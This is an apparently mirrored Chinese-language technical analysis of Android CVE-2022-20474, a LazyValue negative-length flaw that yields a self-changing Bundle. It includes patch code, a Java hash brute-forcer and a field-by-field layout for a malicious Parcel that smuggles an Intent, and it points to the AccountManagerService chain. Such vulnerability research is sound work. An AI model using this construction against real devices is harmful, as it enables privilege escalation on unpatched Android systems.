Share
## https://sploitus.com/exploit?id=FD20B489-42DD-5304-A5AA-B524CDB0D5B4
# CVE-2022-20474分析——LazyValue下的Self-changed Bundle
### 前言
温馨提示，阅读本文前，应当对Bundle Mismatch相关漏洞有初步了解，以下参考资料假如您还没有读过，建议先阅读一下：
1. [Bundle风水——Android序列化与反序列化不匹配漏洞详解](https://xz.aliyun.com/t/2364?time__1311=n4%2Bxni0%3DG%3DDti%3DGCDu7DlxG2fImHw4qiIYwE%3Dx)：经典的入门级别教程。
2. [Android 反序列化漏洞攻防史话](https://evilpan.com/2023/02/18/parcel-bugs/)：很好的总结性文章。
3. [TheLastBundleMismatch](https://github.com/michalbednarski/TheLastBundleMismatch)：第一篇LazyValue模式下的Bundle Mismatch文章。
### 背景
最近正仔细学习[michalbednarski](https://github.com/michalbednarski)的[LeakValue文章](https://github.com/michalbednarski/LeakValue)。在与Canyie讨论的时候，他说在这篇文章中还提到了一种在LazyValue场景下Self-changing Bundle的情况，然后我就去翻找原文，果真有这么一段，而我在读Michal的文章的时候直接漏掉了。原文中如下说到：
> (Also `LazyValue` with negative length specified can be used (without using other bugs described in this writeup) to create self-changing `Bundle`, the thing `LazyValue` was created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
Michal指的应该就是CVE-2022-20474 ([bulletin](https://source.android.com/docs/security/bulletin/2022-12-01#framework), [patch](https://android.googlesource.com/platform/frameworks/base/+/569c3023f839bca077cd3cccef0a3bef9c31af63^!/))，我瞅了一眼patch，但是补丁链接中函数并没有很完整，补全它之后再仔细看一下：
```diff
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
```
代码中的`objectLength`就是`LazyValue`中的`length`，事实上这只是`LazyValue`中包含的可变对象的长度，而整个`LazyValue`的长度应该是`mLength`字段来控制，即代码中的`valueLength`，其在`LazyValue的构造函数中，将值传递给了`mLength`。
让我们在对照一下`LazyValue`的布局格式如下：
```java
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
```
基于上述的内容，我们可以得到如下**事实**：
1. `mLength`代表整个`LazyValue`的长度，`mLength` = `objectLength` + 8字节。
2. `objectLength`应该大于等于0。
3. `LazyValue`对象中只保存了`mLength`，而没保存`objectLength`，因为`LazyValue`作内存拷贝的时候是基于整个对象来做拷贝的。
4. 读完之后的指针是前移的，可能还会再读一遍`LazyValue`
然后呢，经过深思熟虑，我们一致认为，这些事实没！啥！X！用！因为基于上面的事实，也只能在read的时候修改一次，而我们知道`Self-changed Bundle`的核心思想是read完成后再修改，才能绕过安全检查。
正当我们准备放弃的时候，突然发现了补丁的描述中有一些细节：
>Addresses a security vulnerability where a (-8) length object would
>cause dataPosition to be reset back to the statt of the value, and be
>re-read again.
### 异常的`objectLength`
其中提到，`objectLength`为-8的时候，会存在一些问题，这个给了我们一些额外的启示。此时`LazyValue`还能正常的apply吗？
```java
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
```
可以看到真正的`readValue`会从`mPosition`开始读，然后依次读取`LazyType`和`objectLength`，然后就进入正常的`Value`读取流程了，例如`Parcelable`需要读取`ClassName`，然后执行`createFromParcel`，读取完成后，与普通的`Key-Value`没有任何区别，也不会对后续的序列化产生影响。再度回顾一下，`Self-changed Bundle`的核心思想是read完成后再修改，这里只不过是一个普通的越界读取而已，看来这个方向行不通。
那么`LazyValue`在此过程中没有`apply`呢，换言之就以`LazyValue`的身份继续参与IPC，此时会调用其`writeToParcel`函数：
```java
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
```
整个`LazyValue`会直接复制过去，除非`mLength = 0`。等等！上文提到`mLength` = `objectLength` + 8字节，而从patch信息中可以知道，要想触发漏洞`objectLength`应为-8，那么此时`mLength = 0`就成立了。换言之，在这个场景下整个`LazyValue`就直接没了，只会拷贝`String Key`，这样就造成了一个缺失的写入，`Self-changed Bundle`的条件直接满足。
知道了原因，我们就能开始复现了，不过在这之前，我们还需要亿点点细节。
### 细节1 两种类型的Bundle
```java
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
```
我们都知道，`Bundle`的内存布局中大致如下所示：
```java
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
```
`MAGIC`是Bundle在内存布局中的魔数，可以`BUNDLE_MAGIC`或者`BUNDLE_MAGIC_NATIVE`，这两者最重要的区别是`BUNDLE_MAGIC`会让`Key-Value`在反序列化完成后，进行重新排序，如以下代码所示：
```java
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
```
`MAGIC`标志最终会影响到`readArrayMap`中的`sorted`的值，从而引发对map进行排序。注释中也提到，排序的方式会通过`key String`的hash值。
### 细节2 反序列化中的Overlap
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
让我们再度试想一下`ArrayMap`的解析流程。在第一轮解析的时候会先解析`Key1`，然后尝试解析`LazyValue1`。但是`LazyValue1`的`objectLength`为-8，`parcel`的指针会回到`LazyValue1`的开头，即a点，这就是在上文中提到的**事实4**，至此，第一个`Key-Map`已经解析完毕。第二个`Key-Value`是从a点开始解析的，此时会先读取`String`的长度，假设`LazyValue1`中包含的是`Parcelable`，那么这个长度就应该是4。因此，真正的`Key2`应该是从a点开始的，即 `Key2` = `LazyValue1` +` FakeKey2`。`LazyValue1`中没有包含任何数据，所以长度是`LazyType`+ `objectLength`的8个字节，整个`string`的长度则为4（长度标识）+ 4 * 2+ 4（"\0"）= 16个字节，除去`LazyValue1`重点8个字节，我们在构造的时候还需要在后面补8个字节，即2个`writeInt`。然后接着读取`Value2`。因此，我们第一次解析的时候，需要用一个`Key2-Value2`来应对解析一个`objectLength`为负数的`LazyValue1`而产生的指针前移的问题，而这个`Key2-Value2`的值我们并不关心，因为它只在第一次解析的时候才用到，只是一个工具人。既然是用完即丢的工具人，那么第一次解析完成我希望它能够离我们的关键数据远一点，而且`Key3-Value3`中才装了我们的恶意数据。最好`Key2`的hash值能够大于`Key1`，那么它就不会影响后续的解析了。通过**细节1**，我们可以通过调整`Key3`的hash值来完成这一目标，我们将在**细节3**中进行详细介绍。然后我们进入了`Key2-Value2`的解析，`Bundle mismatch`老规矩了，`Value3`里放一个`ByteArray`装恶意的`Intent`即可，但是`Key3`还有一些额外的限制。第一轮反序列化完成后，`ArrayMap`的布局应该是这样的，工具人`Key2-Value2`被丢在了最后：
```
Key1-Value1 | Key3-Value3 | Key2-Value2
```
而上文**异常的objectLength**中提到，`LazyValue1`的长度是0，所以在`writeToParcel`的时候，根本就没复制过去！事实上的布局是这样的：
```
Key1 | Key3-Value3 | Key2-Value2
```
`Key1`读取完了之后还要嗷嗷待哺得去读取`Value1`，这里又又又又越界读取了，`Key3`还得承担起读取`LazyValue1`得重担。`Key3`中第一个`int`既要充当`String`长度的角色，还要充当`LazyValue` `Type`的角色，这就代表了`Key3`的长度不能太短，太短了hash不好算。看了一眼`LazyValue` `Type`的列表，我看中了:
```java
private static final int VAL_LIST = 11; // length-prefixed
```
当然你要选12、16、17也行，反正别太短就行。
而`Key3`中第二个`int`还要充当`LazyValue`的`Length`，通过它，我们可以控制`LazyValue1`的长度，把下一个指针指到恶意`Intent`的开头就好了。你要说`LazyValue1`中的内容不合法？那和我没关系，你只要不调用`getXXX`来`apply`它，那他永远都是`LazyValue`。
### 细节3 暴破器实现
写一个暴破器即可：
```java
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
```
当然，我们也可以暴力破解`Key2`，把它调整到前面去，但是`Key2`的长度是固定的4，比较短，能操作的空间少一些，而`Key3`的长度我们在上文就预留了一些，让暴破起来轻松一些。假设我们的`Key1`是字符串`"Cxxsheng"`，我们希望控制`Key3`的`hash`值能比`"Cxxsheng"`的`hash`大，但只大一点点，我设置了1000000，那样它们就能够有较大的概率永远在一起了，第三者`Key2`就无法插足了。上文提到过，`string`的前两个`int`是固定的。因此我们先写入`VAL_LIST `（也是`String`长度），通过计算得出离恶意的Intent还差32个字节，剩下的几个0都可以用来爆破了。随便选了2个爆破即可。
### 复现
| 值 | 说明 |
| --------------- | ------------------------------------------------------------ |
| "Cxxsheng" | 第一个key |
| 4 | 会读取两轮：第一轮代表`VAL_PARCELABLE`；第二轮变成第二个Key的String Length |
| -8 | 会读取两轮：第一轮代表`LazyValue`的`objectLength`，会导致读取指针前移，导致两轮读取；第二轮变成第二个Key 的String Value |
| 0 | 第二个Key 的String Value |
| 0 | 第二个Key 的String Value |
| 1 | `VAL_INTEGER` |
| 0 | 第二个Value |
| 11 | 第三个Key的String Length |
| 32 | 第三个Key的String Value |
| 0 | 第三个Key的String Value |
| 0 | 第三个Key的String Value |
| number1 | 第三个Key的String Value，这两个值用于调整排序 |
| number2 | 第三个Key的String Value，这两个值用于调整排序 |
| 0 | 第三个Key的String Value |
| 13 | `VAL_BYTEARRAY` |
| LazyValue的长度 | 计算得出 |
| ByteArray的长度 | 计算得出 |
| ByteArray | 其中包含了了恶意的Key-Value，即`Intent.EXTRA_INTENT`和其Intent |
可以通过`number1`和`numbder2`来操作第三个值在`ArrayMap`中的排序。因为`ArrayMap`是依据`key`的`hashcode`来排序的，这样可以让第三个的值在反序列化后变成第二个，紧跟在第一个"Cxxsheng"的后面，如下所示：
```txt
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[一段乱码]=[恶意的ByteArray], [一段乱码]=0}]
```
可以看到我们读取的顺序也会和写入的顺序不一样。在完成写入后，上文我们分析过一整个`LazyValue`都被丢了，而第三个`Key-Value`被重新排序到第二个，其中也包括`type`和`objectLength`，因此，页面布局将变成如下所示：
| 值 | 说明 |
| :---------------------------------- | :----------------------------------------------------------- |
| "Cxxsheng" | 第一个key |
| 11 | VAL_LIST |
| 32 | 第一个Value的长度，后面的合不合法已经都不重要（反正不会去apply这个LazyValue），这个直接指到ByteArray中恶意Intent的前面 |
| 0 | LazyValue中的值 |
| 0 | LazyValue中的值 |
| number1 | LazyValue中的值 |
| number2 | LazyValue中的值 |
| 0 | LazyValue中的值 |
| 13 | LazyValue中的值 |
| LazyValue的长度 | LazyValue中的值 |
| ByteArray的长度 | LazyValue中的值 |
| ByteArray开始/`Intent.EXTRA_INTENT` | 第二个Key |
| Intent | 第二个Value |
| 第三个Key-Value | 被排到了最后 |
### 利用
读者可以自行利用经典的`AccountManagerService`利用链，至于能否利用本文不再多做赘述，因为这取决于2022年11月份的补丁中有没有`checkKeyIntentParceledCorrectly`函数。在此额外解释一下，该函数利用了模拟IPC的调用流程，来阻断了`AccountManagerService`利用链。因此，在Android 12或者13上即使存在Mismatch，也未必可以利用成功，需要寻找bypass该函数的方法。
我们可以仿写一下这个函数，来模拟IPC调用流程如下：
```java
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); //debug的时候这里可以在这里看到parcel数据
// marshall不会改变Parcel指针
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
```
然后欣赏一下通过模拟IPC调用流程的日志输出图，具体可以参考我的[Github代码](https://github.com/cxxsheng/CVE-2022-20474)：
